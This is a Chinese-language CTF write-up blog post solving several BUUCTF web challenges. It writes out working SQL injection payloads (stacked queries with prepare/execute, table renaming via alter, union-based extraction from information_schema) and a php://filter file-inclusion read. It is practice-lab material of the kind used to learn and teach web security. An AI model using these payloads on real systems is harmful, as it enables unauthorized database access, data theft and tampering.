11-27 BUU做题记录

[强网杯 2019]随便注

打开页面,进行提交,看下回显,url传参



v2-a66f1b06cd4e7171f067ffc5d459c1a6_b.jpg



v2-315ffa667f618d96f444460eb4c0eb79_b.jpg

v2-ba0efafec58cb9bc7f84c045c86ac85b_b.jpg

v2-8f054961569af909011301697a3983fd_b.jpg


就在我认为不过如此,这不就有手就行的时候。

当我测试了 大小写绕过,双写,/**/ /*!**/ ,sel<>ect,等多种方法,均绕不过。


v2-e4e4c0b54412958df06775131cbf61f7_b.jpg


因为

?inject=1 回显正常

?inject=1' 回显错误

?inject=1'#回显正常


尝试使用堆叠注入。 ------> 就是多条sql语句一起执行。以 ; 划分。

1';show databases;#


v2-4366f23e24f9ecc5226472489253259e_b.jpg


1';use supersqli;#

1';show tables;#


v2-5575d96df9ae3d7544e253e263ff9736_b.jpg


1’;show columns from `1919810931114514`;#

重点: 如果表名是纯数字需要用反引号包裹,不然不会出现回显

v2-19134c0b973ec8817cac95b56f529b0c_b.jpg


但最终查询flag还是需要用到select,。实在是技术太low。看了wp才明白。可以使用预编译的方式

1';set @flag = concat('sel','ect * from `1919810931114514`');prepare flag from @flag;execute flag;#

但是检测了关键词,不过strstr不过滤大小写。所以我们大写。


v2-44663629d7e7a6707d8ce923967841d4_b.jpg


1';SET @flag = concat('sel','ect * from `1919810931114514`');PREPARE flag from @flag;execute flag;#


v2-0e220d14e16e9c0c6c111364fa16466d_b.jpg


关于这段是什么意思,首先堆叠注入。我们拆开看,

1'; 单引号闭合,;开始堆叠注入。

SET @flag = concat('sel','ect * from `1919810931114514`'); 设置一个变量=后面查询。

PREPARE flag from @flag; 预处理一个语句,,

execute flag;# 执行语句

其中变量名和 预处理的flag 均为自定义。

concat() 拼接字符,将’sel’ 和 ‘etc * from …’ 进行拼接。


方法二:

这种解法思路清晰,间接明了。


思路,通过堆叠注入,我们可以看到以下信息,表名words 下的列名

当我们使用1’ or 1=1#的时候,他会爆出words下所有内容。


但不会爆出存放着flag的表的内容。


那我们将1919810931114514 修改为words名,

然后将列名flag修改为id。

再使用1’ or 1=1# 的话,flag不就出来了。



但肯定不能有两个一样的表名。所以我们先将words修改为其他名字。


基本sql语句。

alter table words rename to xxx; 修改words名

alter table `1919810931114514` rename to words; 将1919…修改为words

alter table users change flag id varchar(50); 将flag 改为id


最终生成payload

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#


1’or 1=1#


v2-4031de7f62947e031b9655b8c7550ef4_b.jpg

v2-2f1e844283b4047dc5dfcde06c554eb8_b.jpg

[极客大挑战 2019]EasySQL

看着这个页面,看看上面那个简陋的,,这道题给我的感觉就是高大上,绝对不Easy。

尝试单引号,,尝试下 or 1=1 # ,

下面发生的事情才是令我震惊的。


v2-571508c7b241d0b47bab682a7eb2e777_b.jpg


就这么出来了。。flag。。我怕是假的,还去提交了, 没想到是真的竟然。


v2-a93e8fe40b99597f9adccccf23091bc6_b.jpg





[SUCTF 2019]EasySQL

这题刚打开,随手输了几个数字,一开始以为是盲注,因为它不报错,只有3种回显,


v2-f080fda8c74926fbc288bba9d1c8ab68_b.jpg


做sql注入重点在于它的查询语句是什么,如果我们知道了他的查询语句,那么就可以做出对应的payload。

而这一题,我输入除了0以外的任何数字,他的返回结果都只有一个。

那么他的查询语句有可能是这样子,(语法不对,意思到了)

表名通过堆叠注入获得。技术有限,仅查到了表名。

select POST[‘$query’],flag from Flag;

如果是这样,我们想让他查出flag的话,

可以让他select * 。

即select *,1 from 234 where array = 0;

payload: *,1


v2-2060e79acd0aa2ff91b9e1a0b19e90a0_b.jpg


这题最让我不解的就是,网上的大佬,竟然可以直接猜出他的sql查询语句是这样子的。

" s e l e c t " . sql = "select ".sql="select".post[‘query’]."||flag from Flag";



[极客大挑战 2019]Havefun

打开题目,啥也没有,先查看源代码,在最后发现这个


v2-90e8889ce3b5e94d4b7263a4b5bc434f_b.jpg


简单明了,我们直接payload:

?cat=dog


v2-a2a9f173bf9fa229d6765244335bb1a2_b.jpg

v2-08d6579427c8495cfe5a035c5efd573a_b.jpg



[极客大挑战 2019]Secret File

打开题目,啥也没有,查看源代码,发现./Archive_room.php,打开


v2-5e6121374c5839fdb28fa03ad7572c48_b.jpg



v2-d6ee4e5b39eab8773843f3d80374e961_b.jpg


点击SECRET 出现下面这个


v2-85685c711e24b6cc72c48946493d4821_b.jpg


很明显,有东西一闪而过,直接burp进行抓包。,然后打开secr3t.php


v2-83af2fc044c60a1b5b84ce2f43e2206b_b.jpg


文件包含,过滤../ tp input data ,最经典的,base64读源码

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php


v2-fd3b4244211b2cc51f69a28ce015613b_b.jpg


解码得到flag


v2-397e12b7dd6a801657bdb8b83430d63a_b.jpg



v2-a14ad81e188389dd90b15ce25eeeb72e_b.jpg



[ACTF2020 新生赛]Include


打开题目,有个链接,,打开


v2-089f375c80eff73e51316237258d4171_b.jpg



v2-00101545c06bf38f7c59abcb690a6e71_b.jpg


直接base64读源码,文件包含,懂得都懂。

v2-458544730dedfcd5b74378b141798dce_b.jpg



[极客大挑战 2019]LoveSQL


多么熟悉的登录框,直接 1’ or 1=1 #


v2-f5edeb3f9891bea28bb823e2d26754b2_b.jpg


出金了。账号admin ,密码,,我一看直接md5 不对。然后尝试登陆。 发现他的密码真是这个。。



v2-a0b298183e01102750cea5797a57d3b6_b.jpg


进行注入 order by 3 回显

?username=1&password=1%27+order+by+3%23


v2-66799ae5b8e39cab94c877191f9b6758_b.jpg


order by 4 回显这个。证明3列。直接查数据库,查表名,列名。数据。一套走下来就行了


v2-6034f25e10934c059d606555d336052b_b.jpg


-1' union select 1,2,3#


v2-9ece7f4e47a2d7c0f07b31e7c0569010_b.jpg


-1' union select 1,version(),database()#


v2-a2fc110de4929a01986848e70c00a9f8_b.jpg


-1' union select 1,2,group_concat(table_name,'---') from information_schema.tables where table_schema='geek'#


v2-975a450f89514e5b7a86a5310f9c3a52_b.jpg


-1' union select 1,2,group_concat(column_name,'---') from information_schema.columns where table_name='l0ve1ysq1'#

看重列名好像没有flag,两个表名都是同样内容,猜测flag在数据中,继续读取。


v2-d42807a3ac8fc7e30c91d657491069c0_b.jpg


-1' union select 1,2,group_concat(id,'---',username,'---',password) from l0ve1ysq1#

读到flag


v2-e8fc58ab6d61f6580dd9b78fa42372da_b.jpg

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

SwBack

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值